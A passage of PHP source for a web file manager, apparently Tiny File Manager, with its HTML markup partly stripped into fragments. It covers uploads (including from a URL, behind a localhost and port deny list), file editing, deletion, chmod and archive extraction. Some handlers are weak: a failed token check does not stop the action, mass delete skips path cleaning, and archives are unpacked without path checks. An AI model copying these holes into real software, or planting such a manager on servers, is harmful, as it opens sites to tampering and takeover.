header("HTTP/1.1 500 Internal Server Error"); die("Could Not Write File! - Check Permissions / Ownership"); } die(true); } // backup files if (isset($_POST['type']) && $_POST['type'] == "backup" && !empty($_POST['file'])) { $fileName = fm_clean_path($_POST['file']); $fullPath = FM_ROOT_PATH . '/'; if (!empty($_POST['path'])) { $relativeDirPath = fm_clean_path($_POST['path']); $fullPath .= "{$relativeDirPath}/"; } $date = date("dMy-His"); $newFileName = "{$fileName}-{$date}.bak"; $fullyQualifiedFileName = $fullPath . $fileName; try { if (!file_exists($fullyQualifiedFileName)) { throw new Exception("File {$fileName} not found"); } if (copy($fullyQualifiedFileName, $fullPath . $newFileName)) { echo "Backup {$newFileName} created"; } else { throw new Exception("Could not copy file {$fileName}"); } } catch (Exception $e) { echo $e->getMessage(); } } // Save Config if (isset($_POST['type']) && $_POST['type'] == "settings") { global $cfg, $lang, $report_errors, $show_hidden_files, $lang_list, $hide_Cols, $theme; $newLng = $_POST['js-language']; fm_get_translations([]); if (!array_key_exists($newLng, $lang_list)) { $newLng = 'en'; } $erp = isset($_POST['js-error-report']) && $_POST['js-error-report'] == "true" ? true : false; $shf = isset($_POST['js-show-hidden']) && $_POST['js-show-hidden'] == "true" ? true : false; $hco = isset($_POST['js-hide-cols']) && $_POST['js-hide-cols'] == "true" ? true : false; $te3 = $_POST['js-theme-3']; if ($cfg->data['lang'] != $newLng) { $cfg->data['lang'] = $newLng; $lang = $newLng; } if ($cfg->data['error_reporting'] != $erp) { $cfg->data['error_reporting'] = $erp; $report_errors = $erp; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['show_hidden'] != $shf) { $cfg->data['show_hidden'] = $shf; $show_hidden_files = $shf; } if ($cfg->data['hide_Cols'] != $hco) { $cfg->data['hide_Cols'] = $hco; $hide_Cols = $hco; } if ($cfg->data['theme'] != $te3) { $cfg->data['theme'] = $te3; $theme = $te3; } $cfg->save(); echo true; } // new password hash if (isset($_POST['type']) && $_POST['type'] == "pwdhash") { $res = isset($_POST['inputPassword2']) && !empty($_POST['inputPassword2']) ? password_hash($_POST['inputPassword2'], PASSWORD_DEFAULT) : ''; echo $res; } //upload using url if(isset($_POST['type']) && $_POST['type'] == "upload" && !empty($_REQUEST["uploadurl"])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } function event_callback ($message) { global $callback; echo json_encode($message); } function get_file_path () { global $path, $fileinfo, $temp_file; return $path."/".basename($fileinfo->name); } $url = !empty($_REQUEST["uploadurl"]) && preg_match("|^http(s)?://.+$|", stripslashes($_REQUEST["uploadurl"])) ? stripslashes($_REQUEST["uploadurl"]) : null; //prevent 127.* domain and known ports $domain = parse_url($url, PHP_URL_HOST); $port = parse_url($url, PHP_URL_PORT); $knownPorts = [22, 23, 25, 3306]; if (preg_match("/^localhost$|^127(?:\.[0-9]+){0,2}\.[0-9]+$|^(?:0*\:)*?:?0*1$/i", $domain) || in_array($port, $knownPorts)) { $err = array("message" => "URL is not allowed"); event_callback(array("fail" => $err)); exit(); } $use_curl = false; $temp_file = tempnam(sys_get_temp_dir(), "upload-"); $fileinfo = new stdClass(); $fileinfo->name = trim(urldecode(basename($url)), ".\x00..\x20"); $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $ext = strtolower(pathinfo($fileinfo->name, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; $err = false; if(!$isFileAllowed) { $err = array("message" => "File extension is not allowed"); event_callback(array("fail" => $err)); exit(); } if (!$url) { $success = false; } else if ($use_curl) { @$fp = fopen($temp_file, "w"); @$ch = curl_init($url); curl_setopt($ch, CURLOPT_NOPROGRESS, false ); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_FILE, $fp); @$success = curl_exec($ch); $curl_info = curl_getinfo($ch); if (!$success) { $err = array("message" => curl_error($ch)); } @curl_close($ch); fclose($fp); $fileinfo->size = $curl_info["size_download"]; $fileinfo->type = $curl_info["content_type"]; } else { $ctx = stream_context_create(); @$success = copy($url, $temp_file, $ctx); if (!$success) { $err = error_get_last(); } } if ($success) { $success = rename($temp_file, strtok(get_file_path(), '?')); } if ($success) { event_callback(array("done" => $fileinfo)); } else { unlink($temp_file); if (!$err) { $err = array("message" => "Invalid url parameter"); } event_callback(array("fail" => $err)); } } exit(); } // Delete file / folder if (isset($_GET['del'], $_POST['token']) && !FM_READONLY) { $del = str_replace( '/', '', fm_clean_path( $_GET['del'] ) ); if ($del != '' && $del != '..' && $del != '.' && verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $is_dir = is_dir($path . '/' . $del); if (fm_rdelete($path . '/' . $del)) { $msg = $is_dir ? lng('Folder').' %s '.lng('Deleted') : lng('File').' %s '.lng('Deleted'); fm_set_msg(sprintf($msg, fm_enc($del))); } else { $msg = $is_dir ? lng('Folder').' %s '.lng('not deleted') : lng('File').' %s '.lng('not deleted'); fm_set_msg(sprintf($msg, fm_enc($del)), 'error'); } } else { fm_set_msg(lng('Invalid file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Create a new file/folder if (isset($_POST['newfilename'], $_POST['newfile'], $_POST['token']) && !FM_READONLY) { $type = urldecode($_POST['newfile']); $new = str_replace( '/', '', fm_clean_path( strip_tags( $_POST['newfilename'] ) ) ); if (fm_isvalid_filename($new) && $new != '' && $new != '..' && $new != '.' && verifyToken($_POST['token'])) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($type == "file") { if (!file_exists($path . '/' . $new)) { if(fm_is_valid_ext($new)) { @fopen($path . '/' . $new, 'w') or die('Cannot open file: ' . $new); fm_set_msg(sprintf(lng('File').' %s '.lng('Created'), fm_enc($new))); } else { fm_set_msg(lng('File extension is not allowed'), 'error'); } } else { fm_set_msg(sprintf(lng('File').' %s '.lng('already exists'), fm_enc($new)), 'alert'); } } else { if (fm_mkdir($path . '/' . $new, false) === true) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('Created'), $new)); } elseif (fm_mkdir($path . '/' . $new, false) === $path . '/' . $new) { fm_set_msg(sprintf(lng('Folder').' %s '.lng('already exists'), fm_enc($new)), 'alert'); } else { fm_set_msg(sprintf(lng('Folder').' %s '.lng('not created'), fm_enc($new)), 'error'); } } } else { fm_set_msg(lng('Invalid characters in file or folder name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Copy folder / file if (isset($_GET['copy'], $_GET['finish']) && !FM_READONLY) { // from $copy = urldecode($_GET['copy']); $copy = fm_clean_path($copy); // empty path if ($copy == '') { fm_set_msg(lng('Source path not defined'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // abs path from $from = FM_ROOT_PATH . '/' . $copy; // abs path to $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); // move? $move = isset($_GET['move']); $move = fm_clean_path(urldecode($move)); // copy/move/duplicate if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { // Move and to != from so just perform move $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf(lng('Moved from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from))); } elseif ($rename === null) { fm_set_msg(lng('File or folder with this path already exists'), 'alert'); } else { fm_set_msg(sprintf(lng('Error while moving from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from)), 'error'); } } else { // Not move and to != from so copy with original name if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf(lng('Copied from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from))); } else { fm_set_msg(sprintf(lng('Error while copying from').' %s '.lng('to').' %s', fm_enc($copy), fm_enc($msg_from)), 'error'); } } } else { if (!$move){ //Not move and to = from so duplicate $msg_from = trim(FM_PATH . '/' . basename($from), '/'); $fn_parts = pathinfo($from); $extension_suffix = ''; if(!is_dir($from)){ $extension_suffix = '.'.$fn_parts['extension']; } //Create new name for duplicate $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix; $loop_count = 0; $max_loop = 1000; // Check if a file with the duplicate name already exists, if so, make new name (edge case...) while(file_exists($fn_duplicate) & $loop_count < $max_loop){ $fn_parts = pathinfo($fn_duplicate); $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix; $loop_count++; } if (fm_rcopy($from, $fn_duplicate, False)) { fm_set_msg(sprintf('Copied from %s to %s', fm_enc($copy), fm_enc($fn_duplicate))); } else { fm_set_msg(sprintf('Error while copying from %s to %s', fm_enc($copy), fm_enc($fn_duplicate)), 'error'); } } else{ fm_set_msg(lng('Paths must be not equal'), 'alert'); } } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Mass copy files/ folders if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng('Invalid Token.'), 'error'); } // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg(lng('Paths must be not equal'), 'alert'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { $f = fm_clean_path($f); // abs path from $from = $path . '/' . $f; // abs path to $dest = $copy_to_path . '/' . $f; // do if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Rename if (isset($_POST['rename_from'], $_POST['rename_to'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } // old name $old = urldecode($_POST['rename_from']); $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = urldecode($_POST['rename_to']); $new = fm_clean_path(strip_tags($new)); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if (fm_isvalid_filename($new) && $old != '' && $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf(lng('Renamed from').' %s '. lng('to').' %s', fm_enc($old), fm_enc($new))); } else { fm_set_msg(sprintf(lng('Error while renaming from').' %s '. lng('to').' %s', fm_enc($old), fm_enc($new)), 'error'); } } else { fm_set_msg(lng('Invalid characters in file name'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Download if (isset($_GET['dl'], $_POST['token'])) { if(!verifyToken($_POST['token'])) { fm_set_msg("Invalid Token.", 'error'); } $dl = urldecode($_GET['dl']); $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' && is_file($path . '/' . $dl)) { fm_download_file($path . '/' . $dl, $dl, 1024); exit; } else { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } } // Upload if (!empty($_FILES) && !FM_READONLY) { if(isset($_POST['token'])) { if(!verifyToken($_POST['token'])) { $response = array ('status' => 'error','info' => "Invalid Token."); echo json_encode($response); exit(); } } else { $response = array ('status' => 'error','info' => "Token Missing."); echo json_encode($response); exit(); } $chunkIndex = $_POST['dzchunkindex']; $chunkTotal = $_POST['dztotalchunkcount']; $fullPathInput = fm_clean_path($_REQUEST['fullpath']); $f = $_FILES; $path = FM_ROOT_PATH; $ds = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $response = array ( 'status' => 'error', 'info' => 'Oops! Try again' ); $filename = $f['file']['name']; $tmp_name = $f['file']['tmp_name']; $ext = pathinfo($filename, PATHINFO_FILENAME) != '' ? strtolower(pathinfo($filename, PATHINFO_EXTENSION)) : ''; $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; if(!fm_isvalid_filename($filename) && !fm_isvalid_filename($fullPathInput)) { $response = array ( 'status' => 'error', 'info' => "Invalid File name!", ); echo json_encode($response); exit(); } $targetPath = $path . $ds; if ( is_writable($targetPath) ) { $fullPath = $path . '/' . $fullPathInput; $folder = substr($fullPath, 0, strrpos($fullPath, "/")); if (!is_dir($folder)) { $old = umask(0); mkdir($folder, 0777, true); umask($old); } if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) { if ($chunkTotal){ $out = @fopen("{$fullPath}.part", $chunkIndex == 0 ? "wb" : "ab"); if ($out) { $in = @fopen($tmp_name, "rb"); if ($in) { if (PHP_VERSION_ID < 80009) { // workaround https://bugs.php.net/bug.php?id=81145 do { for (;;) { $buff = fread($in, 4096); if ($buff === false || $buff === '') { break; } fwrite($out, $buff); } } while (!feof($in)); } else { stream_copy_to_stream($in, $out); } $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream", 'errorDetails' => error_get_last() ); } @fclose($in); @fclose($out); @unlink($tmp_name); $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => "failed to open output stream" ); } if ($chunkIndex == $chunkTotal - 1) { if (file_exists ($fullPath)) { $ext_1 = $ext ? '.'.$ext : ''; $fullPathTarget = $path . '/' . basename($fullPathInput, $ext_1) .'_'. date('ymdHis'). $ext_1; } else { $fullPathTarget = $fullPath; } rename("{$fullPath}.part", $fullPathTarget); } } else if (move_uploaded_file($tmp_name, $fullPath)) { // Be sure that the file has been uploaded if ( file_exists($fullPath) ) { $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => 'Couldn\'t upload the requested file.' ); } } else { $response = array ( 'status' => 'error', 'info' => "Error while uploading files. Uploaded files $uploads", ); } } } else { $response = array ( 'status' => 'error', 'info' => 'The specified folder for upload isn\'t writeable.' ); } // Return the response echo json_encode($response); exit(); } // Mass deleting if (isset($_POST['group'], $_POST['delete'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg(lng('Selected files and folder deleted')); } else { fm_set_msg(lng('Error while deleting items'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Pack files zip, tar if (isset($_POST['group'], $_POST['token']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; $ext = 'zip'; if (FM_PATH != '') { $path .= '/' . FM_PATH; } //set pack type $ext = isset($_POST['tar']) ? 'tar' : 'zip'; if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $files = $_POST['file']; $sanitized_files = array(); // clean path foreach($files as $file){ array_push($sanitized_files, fm_clean_path($file)); } $files = $sanitized_files; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext; } else { $zipname = 'archive_' . date('ymd_His') . '.'.$ext; } if($ext == 'zip') { $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); } elseif ($ext == 'tar') { $tar = new FM_Zipper_Tar(); $res = $tar->create($zipname, $files); } if ($res) { fm_set_msg(sprintf(lng('Archive').' %s '.lng('Created'), fm_enc($zipname))); } else { fm_set_msg(lng('Archive not created'), 'error'); } } else { fm_set_msg(lng('Nothing selected'), 'alert'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Unpack zip, tar if (isset($_POST['unzip'], $_POST['token']) && !FM_READONLY) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $unzip = urldecode($_POST['unzip']); $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $isValid = false; $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($unzip != '' && is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; $ext = pathinfo($zip_path, PATHINFO_EXTENSION); $isValid = true; } else { fm_set_msg(lng('File not found'), 'error'); } if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg(lng('Operations with archives are not available'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } if ($isValid) { //to folder $tofolder = ''; if (isset($_POST['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } if($ext == "zip") { $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); } elseif ($ext == "tar") { try { $gzipper = new PharData($zip_path); if (@$gzipper->extractTo($path,null, true)) { $res = true; } else { $res = false; } } catch (Exception $e) { //TODO:: need to handle the error $res = true; } } if ($res) { fm_set_msg(lng('Archive unpacked')); } else { fm_set_msg(lng('Archive not unpacked'), 'error'); } } else { fm_set_msg(lng('File not found'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } // Change Perms (not for Windows) if (isset($_POST['chmod'], $_POST['token']) && !FM_READONLY && !FM_IS_WIN) { if(!verifyToken($_POST['token'])) { fm_set_msg(lng("Invalid Token."), 'error'); } $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) { fm_set_msg(lng('File not found'), 'error'); $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg(lng('Permissions changed')); } else { fm_set_msg(lng('Permissions not changed'), 'error'); } $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH)); } /*************************** ACTIONS ***************************/ // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } // get parent folder $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); $current_path = array_slice(explode("/",$path), -1)[0]; if (is_array($objects) && fm_is_exclude_items($current_path)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') { continue; } $new_path = $path . '/' . $file; if (@is_file($new_path) && fm_is_exclude_items($file)) { $files[] = $file; } elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file)) { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } // upload form if (isset($_GET['upload']) && !FM_READONLY) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path //get the allowed file extensions function getUploadExt() { $extArr = explode(',', FM_UPLOAD_EXTENSION); if(FM_UPLOAD_EXTENSION && $extArr) { array_walk($extArr, function(&$x) {$x = ".$x";}); return implode(',', $extArr); } return ''; } ?>
' . PHP_EOL; } ?>

: , ', $copy_files) ?>

:
/

 

Copying

Source path:
Destination folder:

Copy   Move   Cancel

/>
/>
/>

""

:
File size:
MIME-type:
:
:
:
: %
'.lng('Image size').': ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '
'; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo ''.lng('Charset').': ' . ($is_utf8 ? 'utf-8' : '8 bit') . '
'; } ?>

 
 
     
'; } else if($online_viewer == 'microsoft') { echo ''; } } elseif ($is_zip) { // ZIP content if ($filenames !== false) { echo ''; foreach ($filenames as $fn) { if ($fn['folder']) { echo '' . fm_enc($fn['name']) . '
'; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')
'; } } echo '
'; } else { echo '

'.lng('Error while fetching archive info').'

'; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) { echo '

'; } } elseif ($is_audio) { // Audio content echo '

'; } elseif ($is_video) { // Video content echo '
'; } elseif ($is_text) { if (FM_USE_HIGHLIGHTJS) { // highlight $hljs_classes = array( 'shtml' => 'xml', 'htaccess' => 'apache', 'phtml' => 'php', 'lock' => 'json', 'svg' => 'xml', ); $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext; if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) { $hljs_class = 'nohighlight'; } $content = '
' . fm_enc($content) . '
'; } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) { // php highlight $content = highlight_string($content, true); } else { $content = '
' . fm_enc($content) . '
'; } echo $content; } ?>
'. $file. ''; header('X-XSS-Protection:0'); fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; // normal editer $isNormalEditor = true; if (isset($_GET['env'])) { if ($_GET['env'] == "ace") { $isNormalEditor = false; } } // Save File if (isset($_POST['savedata'])) { $writedata = $_POST['savedata']; $fd = fopen($file_path, "w"); @fwrite($fd, $writedata); fclose($fd); fm_set_msg(lng('File Saved Successfully')); } $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = filesize($file_path); $is_text = false; $content = ''; // for text if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?>
' . htmlspecialchars($content) . ''; echo ''; } elseif ($is_text) { echo '
' . htmlspecialchars($content) . '
'; } else { fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error'); } ?>

:

 

'?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?> '?'); } if ($group === false) { $group = array('name' => '?'); } } else { $owner = array('name' => '?'); $group = array('name' => '?'); } ?>
..
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
>
' . readlink($path . '/' . $f) . '' : '') ?>
">
'.fm_get_filesize($all_files_size).'' ?> '.$num_files.'' ?> '.$num_folders.'' ?>
"; return; } echo "$external[$key]"; } /** * Verify CSRF TOKEN and remove after cerify * @param string $token * @return bool */ function verifyToken($token) { if (hash_equals($_SESSION['token'], $token)) { return true; } return false; } /** * Delete file or folder (recursively) * @param string $path * @return bool */ function fm_rdelete($path) { if (is_link($path)) { return unlink($path); } elseif (is_dir($path)) { $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rdelete($path . '/' . $file)) { $ok = false; } } } } return ($ok) ? rmdir($path) : false; } elseif (is_file($path)) { return unlink($path); } return false; } /** * Recursive chmod * @param string $path * @param int $filemode * @param int $dirmode * @return bool * @todo Will use in mass chmod */ function fm_rchmod($path, $filemode, $dirmode) { if (is_dir($path)) { if (!chmod($path, $dirmode)) { return false; } $objects = scandir($path); if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) { return false; } } } } return true; } elseif (is_link($path)) { return true; } elseif (is_file($path)) { return chmod($path, $filemode); } return false; } /** * Check the file extension which is allowed or not * @param string $filename * @return bool */ function fm_is_valid_ext($filename) { $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false; $ext = pathinfo($filename, PATHINFO_EXTENSION); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; return ($isFileAllowed) ? true : false; } /** * Safely rename * @param string $old * @param string $new * @return bool|null */ function fm_rename($old, $new) { $isFileAllowed = fm_is_valid_ext($new); if(!is_dir($old)) { if (!$isFileAllowed) return false; } return (!file_exists($new) && file_exists($old)) ? rename($old, $new) : null; } /** * Copy file or folder (recursively). * @param string $path * @param string $dest * @param bool $upd Update files * @param bool $force Create folder with same names instead file * @return bool */ function fm_rcopy($path, $dest, $upd = true, $force = true) { if (is_dir($path)) { if (!fm_mkdir($dest, $force)) { return false; } $objects = scandir($path); $ok = true; if (is_array($objects)) { foreach ($objects as $file) { if ($file != '.' && $file != '..') { if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) { $ok = false; } } } } return $ok; } elseif (is_file($path)) { return fm_copy($path, $dest, $upd); } return false; } /** * Safely create folder * @param string $dir * @param bool $force * @return bool */ function fm_mkdir($dir, $force) { if (file_exists($dir)) { if (is_dir($dir)) { return $dir; } elseif (!$force) { return false; } unlink($dir); } return mkdir($dir, 0777, true); } /** * Safely copy file * @param string $f1 * @param string $f2 * @param bool $upd Indicates if file should be updated with new content * @return bool */ function fm_copy($f1, $f2, $upd) { $time1 = filemtime($f1); if (file_exists($f2)) { $time2 = filemtime($f2); if ($time2 >= $time1 && $upd) { return false; } } $ok = copy($f1, $f2); if ($ok) { touch($f2, $time1); } return $ok; } /** * Get mime type * @param string $file_path * @return mixed|string */ function fm_get_mime_type($file_path) { if (function_exists('finfo_open')) { $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $file_path); finfo_close($finfo); return $mime; } elseif (function_exists('mime_content_type')) { return mime_content_type($file_path); } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) { $file = escapeshellarg($file_path); $mime = shell_exec('file -bi ' . $file); return $mime; } else { return '--'; } } /** * HTTP Redirect * @param string $url * @param int $code */ function fm_redirect($url, $code = 302) { header('Location: ' . $url, true, $code); exit; } /** * Path traversal prevention and clean the url * It replaces (consecutive) occurrences of / and \\ with whatever is in DIRECTORY_SEPARATOR, and processes /. and /.. fine. * @param $path * @return string */ function get_absolute_path($path) { $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path); $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen'); $absolutes = array(); foreach ($parts as $part) { if ('.' == $part) continue; if ('..' == $part) { array_pop($absolutes); } else { $absolutes[] = $part; } } return implode(DIRECTORY_SEPARATOR, $absolutes); } /** * Clean path * @param string $path * @return string */ function fm_clean_path($path, $trim = true) { $path = $trim ? trim($path) : $path; $path = trim($path, '\\/'); $path = str_replace(array('../', '..\\'), '', $path); $path = get_absolute_path($path); if ($path == '..') { $path = ''; } return str_replace('\\', '/', $path); } /** * Get parent path * @param string $path * @return bool|string */ function fm_get_parent_path($path) { $path = fm_clean_path($path); if ($path != '') { $array = explode('/', $path); if (count($array) > 1) { $array = array_slice($array, 0, -1); return implode('/', $array); } return ''; } return false; } function fm_get_display_path($file_path) { global $path_display_mode, $root_path, $root_url; switch ($path_display_mode) { case 'relative': return array( 'label' => 'Path', 'path' => 